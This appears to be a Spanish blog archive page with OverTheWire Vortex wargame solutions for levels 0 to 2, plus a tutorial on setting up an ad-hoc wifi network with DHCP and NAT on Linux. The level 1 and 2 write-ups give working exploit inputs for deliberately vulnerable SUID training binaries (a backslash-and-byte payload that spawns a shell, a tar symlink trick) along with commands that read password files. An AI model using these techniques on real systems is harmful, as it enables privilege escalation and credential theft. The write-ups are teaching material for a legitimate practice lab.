jueves, 28 de febrero de 2013

Solución al reto overthewire vortex level 2

En este caso lo que tenemos es el siguiente enunciado:
Level Goal:
Create a special tar file
Helpful Reading Material
GNU tar manual
Code listing (vortex2.c)
 

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar",
                         argv[1], argv[2], argv[3] 
                       };
        execv(args[0], args);
}
Bueno, se trata de conocer un poco cómo funciona el programa tar, ya sabes, el empaquetador de archivos. Nuestro objetivo es coger el fichero /etc/vortex_pass/vortex3, el primer intento que podríamos hacer es éste:

/tmp$ /vortex/vortex2 /etc/vortex_pass/vortex3
/bin/tar: Removing leading `/' from member names

/tmp$ tar xf '/tmp/ownership.$$.tar'
tar: etc/vortex_pass: Cannot mkdir: Permission denied
tar: etc/vortex_pass/vortex3: Cannot open: No such file or directory
tar: Exiting with failure status due to previous errors


Como es lo más obvio y directo era de esperar que no funcionara. Dentro del tar tenemos la estructura etc/vortex_pass/vortex3 pero falla en la extracción debido a que en /tmp (la carpeta donde realizo todo ya que es en la que tengo permisos de escritura) ya existe una carpeta etc/vortex_pass.

Vamos a intentar ahora un truquillo. Vamos a hacer un enlace al fichero y tararearlo (verbo tararear, meter cosas en un tar).

/tmp$ ln -s /etc/vortex_pass/vortex3 fichero_to_loco
/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Ahora lo tarareamos y descomprimimos.

/tmp$ /vortex/vortex2 fichero_to_loco
vortex2@melissa:/tmp$ rm -f fichero_to_loco
vortex2@melissa:/tmp$ tar xf 'ownership.$$.tar'
vortex2@melissa:/tmp$ cat fichero_to_loco
cat: fichero_to_loco: Permission denied
vortex2@melissa:/tmp$ ls -l fichero_to_loco
lrwxrwxrwx 1 vortex2 vortex2 24 2013-02-28 13:35 fichero_to_loco -> /etc/vortex_pass/vortex3


Vaya por dios, lo que se ha guardado no es el fichero en sí mismo sino el enlace tal cual. Leyendo el man del tar encontraremos lo siguiente:

-h, --dereference
           follow symlinks; archive and dump the files they point to


Bueno, ya con esto casi estamos :).

/tmp$ /vortex/vortex2 -h fichero_to_loco
/tmp$ tar xf 'ownership.$$.tar'
/tmp$ cat fichero_to_loco
64ncXTvx#


Y ya está, al siguiente nivel...

Saludos.

Solución al reto overthewire vortex level 1

Vamos hoy con el reto the overthewire vortex nivel 1. Sigue siendo principalmente un reto de reversing y de comprensión de sistemas (GNU/Linux concretamente).

El enunciado:
Canary Values
We are looking for a specific value in ptr. You may need to consider how bash handles EOF..
Reading Material
Smashing the Stack for Fun and Profit
Code listing (vortex1.c)
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) {
                    setresuid(geteuid(), geteuid(), geteuid());
                    execlp("/bin/sh", "sh", "-i", NULL); 
                }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': 
                          print(buf, sizeof(buf)); 
                           continue; 
                           break;
                        case '\\': 
                           ptr--; 
                           break; 
                        default: 
                           e(); 
                           if(ptr > buf + sizeof(buf)) 
                               continue; 
                           ptr++[0] = x; 
                           break;
                }
        }
        printf("All done\n");
}
Aunque que se vea un poco mal he decidido indentar un poco el código para que se pueda analizar mejor (por cierto, el break en el case '\n' no hace falta y tampoco el del default).

El código hace lo siguiente:
  • Crear un buffer de 512 bytes (buf).
  • Poner el puntero ptr apuntando en medio del buffer (buf[256] concretamente).
  • Empezar a leer caracteres de la entrada estandar y según qué caracter sea hacer una de estas 3 acciones:
    • Si es un salto de línea imprime el buffer.
    • Si es una contrabarra '\' decrementa ptr.
    • En otro caso realiza las siguientes acciones:
      • Comprueba si el byte mas significativo de ptr es \xca y en tal caso ejecuta una shell (esto lo hace la macro e).
      • Comprueba si ptr apunta más allá de la zona de memoria de buf, en cuyo caso no se hace nada más y se continua con la lectura de caracteres.
      • Se pone el byte leído en donde apunta ptr y se lo incrementa para apuntar al siguiente byte.
Aclaración, la llamada a setreuid() que se ve es típica en programas de wargames que tienen el SUID activo, es necesaria hacerla antes de invocar la shell para que ésta tenga los permisos del dueño del programa y no del que ejecuta el programa.

Bueno, modificar la dirección de retorno de main() para que salte a la zona de código que contiene el spawneo de la shell lo descartamos porque el código comprueba si ptr si se apunta más alla de buf (y más allá de buf tenemos la dirección de retorno como sabemos... que no sabemos?! goto here;).

Lo que vamos a hacer es que ptr contenga en su byte más significativo el valor \xca y así conseguiremos ejecutar la shell. Primero nos conectamos al server con el usuario y contraseña conseguidos en el nivel anterior. Después de buscar un poco veremos que en /etc/vortex_pass/ hay una serie de ficheros donde presumiblemente estarán las contraseñas de cada nivel. En /vortex/ por otro lado tenemos los binarios y como era de esperar tienen los SUID activos, los dueños son el usuario del siguiente nivel y bla bla bla. Típica configuración de wargame.

$ ls -l /vortex/vortex1
-r-sr-x--- 1 vortex2 vortex1 7354 2012-11-20 17:02 /vortex/vortex1


Aquí tenemos nuestro binario. Ahora nos toca ponernos manos a la masa. Lo primero que vamos a hacer es ver dónde andan en memoria cada una de las variables que usa el programa. It's gdb time!:

$ gdb -q /vortex/vortex1
Reading symbols from /vortex/vortex1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048557 <+0>:     push   %ebp
   0x08048558 <+1>:     mov    %esp,%ebp
   0x0804855a <+3>:     and    $0xfffffff0,%esp
   0x0804855d <+6>:     push   %esi
   0x0804855e <+7>:     push   %ebx
   0x0804855f <+8>:     sub    $0x228,%esp
   0x08048565 <+14>:    mov    %gs:0x14,%eax
   0x0804856b <+20>:    mov    %eax,0x21c(%esp)
   0x08048572 <+27>:    xor    %eax,%eax
   0x08048574 <+29>:    lea    0x1c(%esp),%eax
   0x08048578 <+33>:    add    $0x100,%eax
   0x0804857d <+38>:    mov    %eax,0x18(%esp)
   0x08048581 <+42>:    jmp    0x8048625 <main+206>
   0x08048586 <+47>:    mov    0x14(%esp),%eax
   0x0804858a <+51>:    cmp    $0xa,%eax
   0x0804858d <+54>:    je     0x8048596 <main+63>
   0x0804858f <+56>:    cmp    $0x5c,%eax

      ...

He quitado un buen trozo de código porque ahora mismo no nos interesa. De ahí podemos sacar la información que buscamos. Yo en concreto me he centrado en saber si ptr está antes o después de buf. Se puede pensar que como está declarado después pues entonces estará "después" en memoria (esto en x86 significa en posiciones de memoria más bajas). El comportamiento normal es así pero entre ese código y ese binario hay todo un proceso de compilación por medio que puede haber hecho infinitas barbaridades (optimización y tal) así que lo correcto es no suponerlo y comprobarlo.

Como se puede ver he marcado con distintos colores 3 accesos a memoria, a saber:
  • Lo rojo, 0x1c(%esp) es el comienzo de buf, de ahí a 511 bytes más abajo es todo el espacio de buf.
  • Lo verde, 0x18(%esp) es ptr. Nótese como se inicializa a buf (ojo al lea, Load Effective Address) más 0x100 = 256 = sizeof(buf)/2.
  • Lo azul, 0x14(%esp) es x.
Ahora ya sabemos que buf está "debajo" de ptr (yo imagino el espacio de memoria de los procesos de esta manera, lo siento si te confunde, mi consejo es que tengas papel al lado y lo pintes). Aún así vamos a ver la memoria y pintarla un poco que siempre ayuda.

(gdb) br *main+42
Breakpoint 1 at 0x8048581
(gdb) r
Starting program: /vortex/vortex1

Breakpoint 1, 0x08048581 in main ()
(gdb) x/20wx $esp
0xffffd520:     0xf7fe05e6      0xf7ff5051      0x00000000      0x00000000
0xffffd530:     0xf7ffd53c      0x00000000      0xffffd63c      0xf7fdee10
0xffffd540:     0xf7ffcff4      0x00000010      0x00000000      0x00000000
0xffffd550:     0xffffd654      0x00000008      0xf7ffd53c      0xf7fe05c9
0xffffd560:     0xf7fd7000      0xf7ff51b8      0x00000070      0xf7ffcff4


Se ve más claro ahora, ¿no?. Pues bien, lo que vamos a hacer es empezar a darle contrabarras al programa hasta que ptr apunte al byte que he pintado de violeta (uno de sus propios bytes). ¿Cuántas contrabarras hacen falta?. 0xffffd63c - 0xffffd53b = 257. Pues ahí está, con 257 contrabarras ptr apuntará a su byte más significativo, lo siguiente que le daremos será el byte \xca para que lo ponga en la posición que queremos. Finalmente le daremos algún byte más distinto de salto de línea y de la contrabarra, de forma que se ejecute e().

(gdb) quit
A debugging session is active.

        Inferior 1 [process 23961] will be killed.

Quit anyway? (y or n) y
vortex1@melissa:/vortex$ perl -e 'print "\\"x257 . "\xca1"' > /tmp/ole
vortex1@melissa:/vortex$ gdb -q /vortex/vortex1

Reading symbols from /vortex/vortex1...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x080485e6 <+143>:   movl   $0x0,0x8(%esp)
   0x080485ee <+151>:   movl   $0x804873a,0x4(%esp)
   0x080485f6 <+159>:   movl   $0x804873d,(%esp)
   0x080485fd <+166>:   call   0x8048400 <execlp@plt>
   0x08048602 <+171>:   lea    0x1c(%esp),%eax
   0x08048606 <+175>:   add    $0x200,%eax
   0x0804860b <+180>:   cmp    0x18(%esp),%eax
   ...
(gdb) br *main+166
Breakpoint 1 at 0x80485fd
(gdb) r < /tmp/ole
Starting program: /vortex/vortex1 < /tmp/ole

Breakpoint 1, 0x080485fd in main ()
(gdb) x/20xw $esp
0xffffd520:     0x0804873d      0x0804873a      0x00000000      0x00000000
0xffffd530:     0xf7ffd53c      0x00000031      0xcaffd53c      0xf7fdee10
0xffffd540:     0xf7ffcff4      0x00000010      0x00000000      0x00000000
0xffffd550:     0xffffd654      0x00000008      0xf7ffd53c      0xf7fe05c9
0xffffd560:     0xf7fd7000      0xf7ff51b8      0x00000070      0xf7ffcff4


Lo primero a comentar es que para pasarle los bytes al programa he decidido meterlos todos en un fichero (/tmp/ole) usando perl. Podemos ver que hay 257 contrabarras, luego el byte \xca y un byte más, en este caso un uno. Para verlo un poco más in situ lo vamos a ejecutar depurando. Hemos puesto un breakpoint justo en donde se ejecuta la shell (la llamda a execlp()), si todo funciona correctamente debería llegar a ahí. Más adelante vemos que llega y aprovechamos para ver la memoria y confirmar lo que pensabamos. Vemos que el byte más significativo de ptr es \xca y por lo tanto se va a ejecutar la shell. Continuamos.

(gdb) cont
Continuing.
process 27279 is executing new program: /proc/27279/exe
/proc/27279/exe: Permission denied.


¿Qué está pasando aquí?. Como que se intenta ejecutar la shell pero no puede por permisos... cosas raras, probemos desde fuera de gdb.

$ ./vortex1 < /tmp/ole
$

Ahora no tenemos ningún error pero no nos está saltando la shell, ¿por qué?. Bueno, lo cierto es que sí está siendo ejecutada pero automáticamente termina. Este comportamiento es debido a que al ejecutarla la entrada estandar está vacía (el último caracter fué '1'), las shells cuando encuentran EOF en la entrada terminan (es el comportamiento por defecto). Lo lógico sería entonces seguirle dándole entrada...

$ perl -e 'print "\\"x257 . "\xca1" . "cat /etc/vortex_pass/vortex2\n"' | ./vortex1
$

La idea es que a la shell le llegué el comando y nos muestre la contraseña del usuario vortex2, pero algo está pasando y no se está ejecutando. Veamos que ocurre.

$ strace -e trace=desc,process ./vortex1 < /tmp/ole
execve("./vortex1", ["./vortex1"], [/* 20 vars */]) = 0
[ Process PID=7298 runs in 32 bit mode. ]
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=21369, ...}) = 0
close(3)                                = 0
open("/lib32/libc.so.6", O_RDONLY)      = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\220o\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1446468, ...}) = 0
close(3)                                = 0
fstat64(0, {st_mode=S_IFREG|0644, st_size=288, ...}) = 0
read(0, "\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"..., 4096) = 288
execve("/bin/sh", ["sh"], [/* 30 vars */]) = 0
[ Process PID=7298 runs in 64 bit mode. ]
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=21369, ...}) = 0
close(3)                                = 0
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\360\1\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1654504, ...}) = 0
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7ffff7ff0720) = 0
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fffffffe480) = -1 ENOTTY (Inappropriate ioctl for device)
read(0, "", 8192)                       = 0
exit_group(0)


Strace (system call trace) captura todas las funciones que realizan una llamada al sistema y nos informa de ellas. En este caso concreto he restringido sólo a aquellas llamadas que usen descriptores de ficheros o que sean de manejo de procesos (voy a mostrar los reads y el exec).

En negrita he marcado lo más interesante, a parte del comando en sí mismo, el read que pilla la entrada que le damos. Aquí nos debe llamar la atención que, a pesar de que el programa está ejecutando muchas veces la funcion getchar(), sólo vemos una única llamada a read(). Getchar() no es más que una de tantas funciones de la libc que acaba internamente llamando a la función read(), que es la que realmente hace la llamada al sistema. Ese es el motivo de por qué no está funcionando nuestra técnica. Con el tema del buffering que realiza read(), automáticamente está cogiendo las 257 contrabarras, el byte \xca, el 1 y todo el comando que le pasamos. Según el programa vaya ejecutando getchar() la libc le irá dando los bytes que ya había cogido previamente. El problema se da junto con el comportamiento de execve(), extraigo el siguiente texto directamente del manual de execve:

All process attributes are preserved during an execve(), except the following:
...
*      Memory mappings are not preserved (mmap(2)).
...

Esto quiere decir que cuando se ejecuta execve() todas las cosas que tenía mapeadas en memoria el proceso desaparecen y así es precisamente cómo funciona la carga de bibliotecas en el espacio de memoria de un proceso, mediante el mapeo de las mismas. Es la libc la que tiene el buffer donde read() puso todos los bytes leídos (exploit y payload) así que durante execve() esa zona es desechada y por eso la shell cuando intenta leer otra vez (el último read que está marcado) no encuentra nada en la entrada estandar.

¿Workaround para esto? Muy fácil, metamos 4096 bytes antes de meter el comando, de esta forma el primer read() no cogerá el comando, se ejecutará el execve() y el segundo read() encontrará el comando.

$ perl -e 'print "\\"x257 . "\xca" . "1"x3838 . "cat /etc/vortex_pass/vortex2\n"' > /tmp/ole
$ ./vortex1 < /tmp/ole
23anbT\rE


Y efectivamente ahora sí se nos muestra el contenido de /etc/vortex_pass/vortex2 :).

Hay otra forma de hacerlo, bash tiene una variable de entorno llamada IGNOREEOF que establece la cantidad de EOF que tiene que encontrar en su entrada estandar antes de finalizar. Se puede leer más sobre ella en el manual. Sin embargo hay un problema, el programa está ejecutando /bin/sh:

$ file /bin/sh
/bin/sh: symbolic link to `dash'


Así que la pista que nos daban al principio (you may need to consider how bash handles EOF) no está muy acertada xD. Si leemos el man de dash veremos que considera esa variable de entorno, aunque sin embargo tiene una opción interesante.

-I ignoreeof     Ignore EOF's from input when interactive.

Pero esto es un parámetro que hay que pasarle a execve(). Durante medio segundo pensé en probar pasarle un porrón de contrabarras hasta llegar a la zona de memoria donde se encuentran los parámetros de execve():

$ objdump -j .rodata -s vortex1

vortex1:     file format elf32-i386

Contents of section .rodata:
 8048728 03000000 01000200 5b200025 78200020  ........[ .%x .
 8048738 5d007368 002f6269 6e2f7368 00416c6c  ].sh./bin/sh.All
 8048748 20646f6e 6500                         done.


Y una vez ahí modificar la memoria y poner el "-I" :D, pero luego recordé que esto es la zona .rodata y lo de .ro es por algo xD (read-only) así que lo que conseguiría es un bonito SIGSEGV.

Saludos.

martes, 26 de febrero de 2013

Solución al reto overthewire vortex level 0

Hoy por twitter gracias a @loopback1984 y a @neosysforensics, me he enterado que los wargames de intruded.net, que en su momento estuve haciendo, y que hace más de dos años se les jodió la plataforma y desaparecieron, han vuelto a ver la luz gracias a la gente de overthewire :).

No he podido resistir la tentación y he empezado a hacerlos :P. Aquí vamos cómo se puede resolver el nivel 0 de vortex. Lo cierto es que hace muchos años que lo había resuelto, estos retos estaban en otra web llamada pulltheplug y que también desapareció hace años.

El enunciado:
Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read in 4 unsigned integers in host byte order. Add these integers together and send back the results to get a username and password for vortex1. This information can be used to log in using SSH.
Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture) 

Pues esta bastante claro:
  1. Conectarse a la máquina.
  2. Recoger 4 enteros sin signo.
  3. Sumarlos.
  4. Devolver al servidor la suma.
  5. Leer usuario y contraseña.
Un programa que hace esto es el siguiente:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>

#include <netinet/in.h>
#include <netdb.h>

#define MACHINE_NAME ("vortex.labs.overthewire.org")
#define PORT (5842)

int main(int argc, char *argv[]) {
    struct sockaddr_in addr;
    struct hostent *resolver;
    unsigned int v1, v2, v3, v4;
    int sfd;
    char c;
    ssize_t bytes_read;

    if ((sfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
        exit(-1);

    if ((resolver = gethostbyname(MACHINE_NAME)) == NULL)
        exit(-1);

    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    bcopy(resolver->h_addr,
          &addr.sin_addr.s_addr,
          sizeof(uint32_t));

    if (connect(sfd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
        exit(-1);

    read(sfd, &v1, sizeof(unsigned int));
    read(sfd, &v2, sizeof(unsigned int));
    read(sfd, &v3, sizeof(unsigned int));
    read(sfd, &v4, sizeof(unsigned int));


    v1 += v2 + v3 + v4;

    write(sfd, &v1, sizeof(unsigned int));

    while (0x01ec0ded) {
        bytes_read = read(sfd, &c, sizeof(char));
        if (bytes_read == sizeof(char))
            printf("%c", c);
        else {
            printf("\n");
            break;
        }
    }

    return 0;
}


En negrita está lo más interesante, si ya sabías manejarte con sockets no tiene mucha chicha.

Por cierto, este programa funciona "por casualidad" }:-), he dejado un pequeño bug a propósito (aparte de que no controlo si los 4 read() de los enteros realmente se hacen bien). ¿Eres capaz de verlo? (Nota: puede que haya más de un bug xD).

Saludos.

lunes, 4 de febrero de 2013

Crear red wifi en GNU/Linux (iwconfig y todas esas movidas)

Esta entrada pretende ser una simple receta de cómo crear una red wifi con nuestro ordenador (con GNU/Linux claro).

La referencia principal ha sido ésta.

He leído por muchos lados en los últimos años que puede haber problemas con la tarjeta, el driver y Linux, que si no soporta tal o no soporta cual. Nunca he tenido esos problemas así que no los trataré aquí. Espero que no te pasen a ti.

En estos ejemplos la tarjeta wifi será eth1. La red que crearé sera "red_to_loca" y las direcciones de la misma serán 192.168.15.X.

$ sudo ifconfig eth1 down
$ sudo iwconfig eth1 mode ad-hoc essid red_to_loca
$ sudo ifconfig eth1 192.168.15.1 up

Con esto otros dispositivos ya deberían poder ver la red y conectarse a ella, sin embargo no recibirán dirección IP alguna (o se configurarán con direcciones IP zeroconf del tipo 169.254.0.0/16). Para esto vamos a tener que instalar un servidor DHCP.

$ sudo apt-get install isc-dhcp-server

Antes de arrancar el servicio tenemos que configurarlo (lo siento, tengo la manía de usar sudo vim :-s).

$ sudo vim /etc/dhcp/dhcpd.conf

subnet 192.168.15.0 netmask 255.255.255.0 {
    range 192.168.15.10 192.168.15.20;
    option routers 192.168.15.1;
    option broadcast-address 192.168.15.255;
    option domain-name-servers 8.8.8.8;
}


Los parámetros de configuración ya al gusto, rangos de direcciones IP, la puerta de enlace (debería ser la de nuestro ordenador, aunque si estamos haciendo redes más complejas podría variar... pero si estás metido en redes más complejas seguro que sabes lo que estas haciendo :). En este caso hemos usado uno de los servidores DNS de Google (8.8.8.8). ¡Este server debe ser el más cargado del mundo!, más que los raíces incluso xD.

Con esto los dispositivos que se conecten a tu red ya recibirán una dirección IP "de verdad", pero no podrán acceder a Internet, solamente a la red que acabamos de crear. Para conseguir dar acceso a Internet vamos a tener que habilitar el forwarding en nuestro ordenador. Aquí es donde casi siempre en los tutoriales veo un feísimo (al menos desde mi punto de vista) 1 arrojado a /proc/sys/net/ipv4/ip_forward. Funcionar funciona, pero creo lo suyo sería usar sysctl que para eso está.

$ sudo sysctl -w net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

Con esto nuestro ordenador permitirá el reenvío de tráfico entre tarjetas, si intentamos navegar con un dispositivo de la red (distinto al que está creando la red) podremos ver que efectivamente el tráfico generado está yendo de la interfaz wifi (eth1 en mi caso) a la otra interfaz (aquí estoy asumiendo que el ordenador tiene, al menos, dos interfaces y que además "la otra" está conectada a Internet, si no nada de esto tiene sentido). En mi caso lo que veo son peticiones DNS a 8.8.8.8. Sin embargo no vamos a conseguir respuestas. Varios motivos pueden dar lugar a esto, el más común que otros routers por el camino no sepan entregarnos la respuesta (cosa normal oiga, en sus tablas de rutas no saben a quién enviarle paquetes para 192.168.15.X).

Ahora lo que toca es hacer NAT en nuestro ordenador, para ello hacemos uso de iptables.

$ sudo iptables -t nat -A POSTROUTING -j MASQUERADE

Con esto nuestro ordenador automáticamente cambiará las direcciones IP de los paquetes salientes por la del propio ordenador. Dado que éste sí tiene acceso a Internet las respuestas llegarán (deberían llegar) y automáticamente serán cambiadas a las originales de nuestra red wifi y enviadas.

Una cosa, el reenvío de tráfico está siendo posible porque al meterme en la red 192.168.15.0, el kernel automáticamente ha metido cierta ruta en la tabla de rutas.

$ sudo route -n
Tabla de rutas IP del núcleo
Destino       Pasarela  Genmask        Indic Métric Ref Uso Interfaz
...
192.168.15.0  0.0.0.0   255.255.255.0  U     0      0   0   eth1

...

Si no tenemos esta regla tendremos que añadirla a mano.

$ sudo route add 192.168.15.0 netmask 255.255.255.0 dev eth1

Y con esto, deberíamos tener ya nuestra red_to_loca por ahí pululando, dando IP a quien se conecte y hasta la interné!.

Saludos.